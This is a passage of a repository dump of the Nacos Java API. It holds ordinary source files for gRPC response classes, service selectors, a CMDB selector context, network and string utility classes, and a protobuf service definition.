    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.response;\n\n/**\n * response of server check.\n *\n * @author liuzunfei\n * @version $Id: ServerCheckResponse.java, v 0.1 2020年07月22日 8:37 PM liuzunfei Exp $\n */\npublic class ServerCheckResponse extends Response {\n    \n    private String connectionId;\n    \n    private boolean supportAbilityNegotiation;\n    \n    public ServerCheckResponse() {\n    \n    }\n    \n    public ServerCheckResponse(String connectionId, boolean supportAbilityNegotiation) {\n        this.connectionId = connectionId;\n        this.supportAbilityNegotiation = supportAbilityNegotiation;\n    }\n    \n    public String getConnectionId() {\n        return connectionId;\n    }\n    \n    public void setConnectionId(String connectionId) {\n        this.connectionId = connectionId;\n    }\n    \n    public boolean isSupportAbilityNegotiation() {\n        return supportAbilityNegotiation;\n    }\n    \n    public void setSupportAbilityNegotiation(boolean supportAbilityNegotiation) {\n        this.supportAbilityNegotiation = supportAbilityNegotiation;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/remote/response/ServerLoaderInfoResponse.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.response;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * server loader info response.\n *\n * @author liuzunfei\n * @version $Id: ServerLoaderInfoResponse.java, v 0.1 2020年09月03日 2:46 PM liuzunfei Exp $\n */\npublic class ServerLoaderInfoResponse extends Response {\n    \n    String address;\n    \n    Map<String, String> loaderMetrics = new HashMap<>();\n    \n    public String getMetricsValue(String key) {\n        return loaderMetrics.get(key);\n    }\n    \n    public void putMetricsValue(String key, String value) {\n        this.loaderMetrics.put(key, value);\n    }\n    \n    /**\n     * Getter method for property <tt>loaderMetrics</tt>.\n     *\n     * @return property value of loaderMetrics\n     */\n    public Map<String, String> getLoaderMetrics() {\n        return loaderMetrics;\n    }\n    \n    /**\n     * Setter method for property <tt>loaderMetrics</tt>.\n     *\n     * @param loaderMetrics value to be assigned to property loaderMetrics\n     */\n    public void setLoaderMetrics(Map<String, String> loaderMetrics) {\n        this.loaderMetrics = loaderMetrics;\n    }\n}"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/remote/response/ServerReloadResponse.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.response;\n\n/**\n * server reload response.\n *\n * @author liuzunfei\n * @version $Id: ServerReloadResponse.java, v 0.1 2020年11月09日 4:37 PM liuzunfei Exp $\n */\npublic class ServerReloadResponse extends Response {\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/remote/response/SetupAckResponse.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.response;\n\n/**.\n * @author Daydreamer\n * @description Server tells the client that the connection is established\n * @date 2022/7/12 19:21\n **/\npublic class SetupAckResponse extends Response {\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/selector/AbstractCmdbSelector.java",
    "content": "/*\n *  Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *       http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.api.selector;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.selector.context.CmdbContext;\n\nimport java.util.List;\n\nimport static com.alibaba.nacos.api.common.Constants.Naming.CMDB_CONTEXT_TYPE;\n\n/**\n * {@link AbstractCmdbSelector} will provide one default implement of {@link Selector}, users can implement it to use the {@link CmdbContext}.\n * And return the result as default subclass of {@link Instance}.\n *\n * @author chenglu\n * @date 2021-07-09 21:29\n */\npublic abstract class AbstractCmdbSelector<T extends Instance> implements Selector<List<T>, CmdbContext<T>, String> {\n    \n    private static final long serialVersionUID = 56587385358330901L;\n    \n    /**\n     * the labels expression.\n     */\n    protected String expression;\n    \n    public String getExpression() {\n        return expression;\n    }\n    \n    public void setExpression(String expression) {\n        this.expression = expression;\n    }\n    \n    @Override\n    public Selector<List<T>, CmdbContext<T>, String> parse(String expression) throws NacosException {\n        this.expression = expression;\n        doParse(expression);\n        return this;\n    }\n    \n    /**\n     * The real parse logic implement by sub class.\n     *\n     * @param expression expression.\n     * @throws NacosException parse failed exception.\n     */\n    protected abstract void doParse(String expression) throws NacosException;\n    \n    @Override\n    public List<T> select(CmdbContext<T> context) {\n        return doSelect(context);\n    }\n    \n    /**\n     * The real select implement by subclass.\n     *\n     * @param context selector context {@link CmdbContext}.\n     * @return the select result.\n     */\n    protected abstract List<T> doSelect(CmdbContext<T> context);\n    \n    @Override\n    public String getContextType() {\n        return CMDB_CONTEXT_TYPE;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/selector/AbstractSelector.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.selector;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.fasterxml.jackson.annotation.JsonTypeInfo;\nimport com.fasterxml.jackson.annotation.JsonTypeInfo.Id;\n\nimport java.io.Serializable;\nimport java.util.List;\n\n/**\n * Abstract selector that only contains a type, used for api to set selector type without actual selector logic.\n *\n * @author nkorange\n * @since 0.7.0\n */\n@JsonTypeInfo(use = Id.NAME, property = \"type\", defaultImpl = NoneSelector.class)\npublic abstract class AbstractSelector implements Serializable, Selector<List<Instance>, List<Instance>, String> {\n    \n    private static final long serialVersionUID = 4530233098102379229L;\n    \n    /**\n     * The type of this selector, each child class should announce its own unique type.\n     */\n    private final String type;\n    \n    protected AbstractSelector(String type) {\n        this.type = type;\n    }\n    \n    public String getType() {\n        return type;\n    }\n    \n    @Override\n    public Selector<List<Instance>, List<Instance>, String> parse(String expression) throws NacosException {\n        return null;\n    }\n    \n    @Override\n    public List<Instance> select(List<Instance> context) {\n        return context;\n    }\n    \n    @Override\n    public String getContextType() {\n        return SelectorType.none.name();\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/selector/ExpressionSelector.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.selector;\n\n/**\n * The selector to filter resource with flexible expression.\n *\n * @author nkorange\n * @since 0.7.0\n */\npublic class ExpressionSelector extends AbstractSelector {\n    \n    /**\n     * Label expression of this selector.\n     */\n    private String expression;\n    \n    public ExpressionSelector() {\n        super(SelectorType.label.name());\n    }\n    \n    public String getExpression() {\n        return expression;\n    }\n    \n    public void setExpression(String expression) {\n        this.expression = expression;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/selector/NoneSelector.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.selector;\n\n/**\n * None selector.\n *\n * @author liaochuntao\n * @since 1.0.1\n */\npublic class NoneSelector extends AbstractSelector {\n    \n    public NoneSelector() {\n        super(SelectorType.none.name());\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/selector/Selector.java",
    "content": "/*\n *  Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *       http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.api.selector;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.fasterxml.jackson.annotation.JsonTypeInfo;\n\nimport java.io.Serializable;\n\n/**\n * The {@link Selector} mainly work on the logic of parse and select.\n * {@link #parse(Object)} allow user accept the condition which provided by Nacos to build the {@link #select(Object)} judge logic.\n * {@link #select(Object)} allow user to execute the logic to get the target result they want.\n * {@link #getType()} will return the type.\n * {@link #getContextType()} will return the context type which used by {@link #select(Object)}.\n *\n * <p>\n *     Now, Nacos only provide the {@link AbstractCmdbSelector} for user to implement their own select logic. Other type is waiting.\n * </p>\n *\n * @author chenglu\n * @date 2021-07-09 21:24\n */\n@JsonTypeInfo(use = JsonTypeInfo.Id.NAME, property = \"type\")\npublic interface Selector<R, C, E> extends Serializable {\n    \n    /**\n     * parse the selector, build the inner info which used by {@link #select(Object)}.\n     *\n     * @param expression expression.\n     * @return selector.\n     * @throws NacosException parse failed exception.\n     */\n    Selector<R, C, E> parse(E expression) throws NacosException;\n    \n    /**\n     * select the target result.\n     *\n     * @param context selector context.\n     * @return select result.\n     */\n    R select(C context);\n    \n    /**\n     * Get the selector type.\n     *\n     * @return selector type.\n     */\n    String getType();\n    \n    /**\n     * Get the select context which used by {@link #select(Object)}.\n     *\n     * @return selector context type.\n     */\n    String getContextType();\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/selector/SelectorType.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.selector;\n\n/**\n * The types of selector accepted by Nacos.\n *\n * @author nkorange\n * @since 0.7.0\n */\npublic enum SelectorType {\n    /**\n     * not match any type.\n     */\n    unknown,\n    /**\n     * not filter out any entity.\n     */\n    none,\n    /**\n     * select by label.\n     */\n    label,\n    /**\n     * select by cluster.\n     */\n    cluster,\n    /**\n     * select by health state.\n     */\n    health,\n    /**\n     * select by enable state.\n     */\n    enable\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/selector/client/SelectResult.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.selector.client;\n\n/**\n * Select result.\n *\n * @param <T> the type of result\n * @author lideyou\n */\npublic interface SelectResult<T> {\n    \n    /**\n     * Get select result.\n     *\n     * @return select result\n     */\n    T getResult();\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/selector/client/Selector.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.selector.client;\n\n/**\n * Client selector.\n *\n * @param <C> the type of selector context\n * @param <E> the type of select result\n * @author lideyou\n */\npublic interface Selector<C, E> {\n    \n    /**\n     * select the target result.\n     *\n     * @param context selector context\n     * @return select result\n     */\n    E select(C context);\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/selector/context/CmdbContext.java",
    "content": "/*\n *  Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *       http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.api.selector.context;\n\nimport com.alibaba.nacos.api.cmdb.pojo.Entity;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.selector.Selector;\n\nimport java.util.List;\n\n/**\n * The CMDB context is given by the {@link SelectorContextBuilder#build(Object, Object)} and used for the\n * {@link Selector#select(Object)}.\n *\n * @author chenglu\n * @date 2021-07-09 21:31\n */\npublic class CmdbContext<T extends Instance> {\n    \n    /**\n     * consumer is the instance which provide the info.\n     */\n    private CmdbInstance<T> consumer;\n    \n    /**\n     * the providers which be selected.\n     */\n    private List<CmdbInstance<T>> providers;\n    \n    public CmdbInstance<T> getConsumer() {\n        return consumer;\n    }\n    \n    public void setConsumer(CmdbInstance<T> consumer) {\n        this.consumer = consumer;\n    }\n    \n    public List<CmdbInstance<T>> getProviders() {\n        return providers;\n    }\n    \n    public void setProviders(List<CmdbInstance<T>> providers) {\n        this.providers = providers;\n    }\n    \n    @Override\n    public String toString() {\n        return \"CmdbContext{\" + \"consumer=\" + consumer + \", providers=\" + providers + '}';\n    }\n    \n    public static class CmdbInstance<T> {\n    \n        /**\n         * the CMDB info of instance.\n         */\n        private Entity entity;\n    \n        /**\n         * the instance.\n         */\n        private T instance;\n    \n        public Entity getEntity() {\n            return entity;\n        }\n    \n        public void setEntity(Entity entity) {\n            this.entity = entity;\n        }\n    \n        public T getInstance() {\n            return instance;\n        }\n    \n        public void setInstance(T instance) {\n            this.instance = instance;\n        }\n    \n        @Override\n        public String toString() {\n            return \"CmdbInstance{\" + \"entity=\" + entity + \", instance=\" + instance + '}';\n        }\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/selector/context/SelectorContextBuilder.java",
    "content": "/*\n *  Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *       http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.api.selector.context;\n\nimport com.alibaba.nacos.api.selector.Selector;\n\n/**\n * The {@link SelectorContextBuilder} mainly for provide the context for {@link Selector#select(Object)}.\n * It provides {@link #build(Object, Object)} method for build context. And also provide {@link #getContextType()} for get the contextType.\n *\n * @author chenglu\n * @date 2021-07-09 21:34\n */\npublic interface SelectorContextBuilder<T, C, P> {\n    \n    /**\n     * build the context for {@link Selector#select(Object)}. The user must provide consumer and provider.\n     * we provide {@link CmdbContext} for user default who want to use the {@link com.alibaba.nacos.api.naming.pojo.Instance}'s CMDB info.\n     *\n     * @param consumer consumer who launch the select.\n     * @param provider the provides who are selected by consumer.\n     * @return selectorContext use by {@link Selector#select(Object)}.\n     */\n    T build(C consumer, P provider);\n    \n    /**\n     * the contextType. we provide the CMDB context type default.\n     *\n     * @return the context type.\n     */\n    String getContextType();\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/utils/NetUtils.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.utils;\n\nimport java.net.Inet4Address;\nimport java.net.Inet6Address;\nimport java.net.InetAddress;\nimport java.net.NetworkInterface;\nimport java.net.UnknownHostException;\nimport java.util.Enumeration;\n\n/**\n * Net utils.\n *\n * @author xuanyin.zy\n */\npublic class NetUtils {\n    \n    private static final String CLIENT_LOCAL_IP_PROPERTY = \"com.alibaba.nacos.client.local.ip\";\n    \n    private static final String CLIENT_LOCAL_PREFER_HOSTNAME_PROPERTY = \"com.alibaba.nacos.client.local.preferHostname\";\n    \n    private static final String LEGAL_LOCAL_IP_PROPERTY = \"java.net.preferIPv6Addresses\";\n    \n    private static final String DEFAULT_SOLVE_FAILED_RETURN = \"resolve_failed\";\n    \n    private static String localIp;\n    \n    /**\n     * Get local ip.\n     *\n     * @return local ip\n     */\n    public static String localIp() {\n        if (!StringUtils.isEmpty(localIp)) {\n            return localIp;\n        }\n        if (System.getProperties().containsKey(CLIENT_LOCAL_IP_PROPERTY)) {\n            return localIp = System.getProperty(CLIENT_LOCAL_IP_PROPERTY, getAddress());\n        }\n        localIp = getAddress();\n        return localIp;\n    }\n    \n    private static String getAddress() {\n        InetAddress inetAddress = findFirstNonLoopbackAddress();\n        if (inetAddress == null) {\n            return DEFAULT_SOLVE_FAILED_RETURN;\n        }\n        \n        boolean preferHost = Boolean.parseBoolean(System.getProperty(CLIENT_LOCAL_PREFER_HOSTNAME_PROPERTY));\n        return preferHost ? inetAddress.getHostName() : inetAddress.getHostAddress();\n    }\n    \n    private static InetAddress findFirstNonLoopbackAddress() {\n        InetAddress result = null;\n        \n        try {\n            int lowest = Integer.MAX_VALUE;\n            for (Enumeration<NetworkInterface> nics = NetworkInterface.getNetworkInterfaces();\n                    nics.hasMoreElements(); ) {\n                NetworkInterface ifc = nics.nextElement();\n                if (ifc.isUp()) {\n                    if (ifc.getIndex() < lowest || result == null) {\n                        lowest = ifc.getIndex();\n                    } else {\n                        continue;\n                    }\n                    \n                    for (Enumeration<InetAddress> addrs = ifc.getInetAddresses(); addrs.hasMoreElements(); ) {\n                        InetAddress address = addrs.nextElement();\n                        boolean isLegalIpVersion = Boolean.parseBoolean(System.getProperty(LEGAL_LOCAL_IP_PROPERTY))\n                                ? address instanceof Inet6Address : address instanceof Inet4Address;\n                        if (isLegalIpVersion && !address.isLoopbackAddress()) {\n                            result = address;\n                        }\n                    }\n                    \n                }\n            }\n        } catch (Exception ignore) {\n        }\n        \n        if (result != null) {\n            return result;\n        }\n        \n        try {\n            return InetAddress.getLocalHost();\n        } catch (UnknownHostException ignore) {\n        }\n        \n        return null;\n        \n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/utils/StringUtils.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.utils;\n\n/**\n * StringUtils. copy from apache common-lang3.\n *\n * @author <a href=\"mailto:lin-mt@outlook.com\">lin-mt</a>\n */\npublic class StringUtils {\n    \n    /**\n     * The empty String {@code \"\"}.\n     *\n     * @since 2.0\n     */\n    public static final String EMPTY = \"\";\n    \n    /**\n     * <p>Checks if a CharSequence is empty (\"\") or null.</p>\n     *\n     * <pre>\n     * StringUtils.isEmpty(null)      = true\n     * StringUtils.isEmpty(\"\")        = true\n     * StringUtils.isEmpty(\" \")       = false\n     * StringUtils.isEmpty(\"bob\")     = false\n     * StringUtils.isEmpty(\"  bob  \") = false\n     * </pre>\n     *\n     * <p>NOTE: This method changed in Lang version 2.0.\n     * It no longer trims the CharSequence. That functionality is available in isBlank().</p>\n     *\n     * @param cs the CharSequence to check, may be null\n     * @return {@code true} if the CharSequence is empty or null\n     * @since 3.0 Changed signature from isEmpty(String) to isEmpty(CharSequence)\n     */\n    public static boolean isEmpty(final CharSequence cs) {\n        return cs == null || cs.length() == 0;\n    }\n    \n    /**\n     * <p>Checks if a CharSequence is whitespace, empty (\"\") or null.</p>\n     *\n     * <pre>\n     * StringUtils.isBlank(null)      = true\n     * StringUtils.isBlank(\"\")        = true\n     * StringUtils.isBlank(\" \")       = true\n     * StringUtils.isBlank(\"bob\")     = false\n     * StringUtils.isBlank(\"  bob  \") = false\n     * </pre>\n     *\n     * @param cs the CharSequence to check, may be null\n     * @return {@code true} if the CharSequence is null, empty or whitespace\n     * @since 2.0\n     * @since 3.0 Changed signature from isBlank(String) to isBlank(CharSequence)\n     */\n    public static boolean isBlank(final CharSequence cs) {\n        final int strLen;\n        if (cs == null || (strLen = cs.length()) == 0) {\n            return true;\n        }\n        for (int i = 0; i < strLen; i++) {\n            if (!Character.isWhitespace(cs.charAt(i))) {\n                return false;\n            }\n        }\n        return true;\n    }\n    \n    // Trim\n    //-----------------------------------------------------------------------\n    \n    /**\n     * <p>Removes control characters (char &lt;= 32) from both\n     * ends of this String, handling {@code null} by returning {@code null}.</p>\n     *\n     * <p>The String is trimmed using {@link String#trim()}.\n     * Trim removes start and end characters &lt;= 32.</p>\n     *\n     * <pre>\n     * StringUtils.trim(null)          = null\n     * StringUtils.trim(\"\")            = \"\"\n     * StringUtils.trim(\"     \")       = \"\"\n     * StringUtils.trim(\"abc\")         = \"abc\"\n     * StringUtils.trim(\"    abc    \") = \"abc\"\n     * </pre>\n     *\n     * @param str the String to be trimmed, may be null\n     * @return the trimmed string, {@code null} if null String input\n     */\n    public static String trim(final String str) {\n        return str == null ? null : str.trim();\n    }\n    \n    // Equals\n    //-----------------------------------------------------------------------\n    \n    /**\n     * <p>Compares two CharSequences, returning {@code true} if they represent\n     * equal sequences of characters.</p>\n     *\n     * <p>{@code null}s are handled without exceptions. Two {@code null}\n     * references are considered to be equal. The comparison is case sensitive.</p>\n     *\n     * <pre>\n     * StringUtils.equals(null, null)   = true\n     * StringUtils.equals(null, \"abc\")  = false\n     * StringUtils.equals(\"abc\", null)  = false\n     * StringUtils.equals(\"abc\", \"abc\") = true\n     * StringUtils.equals(\"abc\", \"ABC\") = false\n     * </pre>\n     *\n     * @param cs1 the first CharSequence, may be {@code null}\n     * @param cs2 the second CharSequence, may be {@code null}\n     * @return {@code true} if the CharSequences are equal (case-sensitive), or both {@code null}\n     * @see Object#equals(Object)\n     * @since 3.0 Changed signature from equals(String, String) to equals(CharSequence, CharSequence)\n     */\n    public static boolean equals(final CharSequence cs1, final CharSequence cs2) {\n        if (cs1 == cs2) {\n            return true;\n        }\n        if (cs1 == null || cs2 == null) {\n            return false;\n        }\n        if (cs1 instanceof String && cs2 instanceof String) {\n            return cs1.equals(cs2);\n        }\n        return StringUtils.regionMatches(cs1, false, 0, cs2, 0, Math.max(cs1.length(), cs2.length()));\n    }\n    \n    /**\n     * Green implementation of regionMatches.\n     *\n     * @param cs         the {@code CharSequence} to be processed\n     * @param ignoreCase whether or not to be case insensitive\n     * @param thisStart  the index to start on the {@code cs} CharSequence\n     * @param substring  the {@code CharSequence} to be looked for\n     * @param start      the index to start on the {@code substring} CharSequence\n     * @param length     character length of the region\n     * @return whether the region matched\n     */\n    public static boolean regionMatches(final CharSequence cs, final boolean ignoreCase, final int thisStart,\n            final CharSequence substring, final int start, final int length) {\n        if (cs instanceof String && substring instanceof String) {\n            return ((String) cs).regionMatches(ignoreCase, thisStart, (String) substring, start, length);\n        }\n        int index1 = thisStart;\n        int index2 = start;\n        int tmpLen = length;\n        \n        while (tmpLen-- > 0) {\n            final char c1 = cs.charAt(index1++);\n            final char c2 = substring.charAt(index2++);\n            \n            if (c1 == c2) {\n                continue;\n            }\n            \n            if (!ignoreCase) {\n                return false;\n            }\n            \n            // The same check as in String.regionMatches():\n            if (Character.toUpperCase(c1) != Character.toUpperCase(c2) && Character.toLowerCase(c1) != Character\n                    .toLowerCase(c2)) {\n                return false;\n            }\n        }\n        \n        return true;\n    }\n}\n"
  },
  {
    "path": "api/src/main/proto/nacos_grpc_service.proto",
    "content": "\n/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nsyntax = \"proto3\";\n\nimport \"google/protobuf/any.proto\";\nimport \"google/protobuf/timestamp.proto\";\n\noption java_multiple_files = true;\noption java_package = \"com.alibaba.nacos.api.grpc.auto\";\n\nmessage Metadata {\n  string type = 3;\n  string clientIp = 8;\n  map<string, string> headers = 7;\n}\n\nmessage Payload {\n  Metadata metadata = 2;\n  google.protobuf.Any body = 3;\n}\n\nservice Request {\n  // Sends a commonRequest\n  rpc request (Payload) returns (Payload) {\n  }\n}\n\nservice BiRequestStream {\n  // Sends a biStreamRequest\n  rpc requestBiStream (stream Payload) returns (stream Payload) {\n  }\n}\n"
  },
  {
    "path": "api/src/main/resources/META-INF/services/com.alibaba.nacos.api.remote.Payload",
